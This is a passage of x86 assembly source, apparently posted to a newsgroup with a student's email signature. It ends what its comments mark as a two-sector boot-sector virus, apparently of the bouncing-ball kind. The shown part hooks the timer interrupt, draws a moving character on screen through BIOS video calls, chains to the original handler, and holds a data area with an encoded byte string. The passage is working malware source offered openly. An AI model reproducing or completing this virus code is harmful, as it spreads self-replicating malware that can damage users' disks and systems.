  581.    INC   CL             ; /
  582. VIDEO_09: 
  583.    ADD   DL,CL       ; NEW COLUMN POSITION
  584.    ADD   DH,CH       ; NEW ROW POSITION
  585.    MOV   ROWCLM,CX   ; SAVE ROW AND COLUMN POSITIONS
  586.    MOV   ROWCOL,DX   ; SAVE ROW AND COLUMN POSITIONS
  587.    MOV   AH,2        ; SET CURSOR ADDRESS
  588.    INT   10H         ; VDU INTERRUPT
  589.    MOV   AH,8        ; READ CHARACTER AND ATTRIBUTES
  590.    INT   10H         ; VDU INTERRUPT
  591.    MOV   CHARAT,AX   ; SAVE CHARACTER AND ATTRIBUTES
  592.    MOV   BL,AH       ; MOVE ATTRIBUTES
  593.    CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
  594.    JNZ   VIDEO_10      ; BRANCH IF NOT
  595.    MOV   BL,83H      ; WRITE MODE FOR GRAPHICS
  596. VIDEO_10: 
  597.    MOV   CX,1        ; ONCE ONLY
  598.    MOV   AX,907H     ; WRITE CHARACTER AND ATTRIBUTES
  599.    INT   10H         ; VDU INTERRUPT
  600.    POP   DX          ; RESTORE CURSOR ADDRESS
  601.    MOV   AH,2        ; SET CURSOR ADDRESS
  602.    INT   10H         ; VDU INTERRUPT
  603.    POP   DX
  604.    POP   CX
  605.    POP   BX
  606.    POP   AX
  607.    POP   DS
  608.    DB 0EAH        ; FAR JUMP TO ORIGINAL INT 8
  609.    DW 0907H       ; ORG08O - ORIGINAL INT 8 OFFSET
  610.    DW 10BDH       ; ORG08S - ORIGINAL INT 8 SEGMENT
  611.  
  612.    DW 0720H       ; CHARAT - CHARACTER AND ATTRIBUTES
  613.    DW 1533H       ; ROWCOL - ROW AND COLUMN POSITIONS
  614.    DW 01FFH       ; ROWCLM - ROW AND COLUMN MOVEMENT
  615.    DB 0           ; GRAPHM - GRAPHICS MODE SWITCH
  616.    DW 3           ; MODEAP - MODE AND ACTIVE PAGE
  617.    DB 4FH         ; DW7FD6 - VISIBLE COLUMNS - 1
  618.  
  619.  
  620.    DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
  621.    DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
  622.    DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
  623.    DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
  624.    DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
  625.  
  626.    ; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
  627.  
  628. CODE  ENDS
  629.  
  630.    END   START
  631.  
  632.  
  633.  
  634.  
  635.  
  636.  
  637. --
  638. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  639. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  640. Student at the Northeatstern University College of Computer Science 
  641. "I Can't Believe It's Not Butter"
  642.  
  643.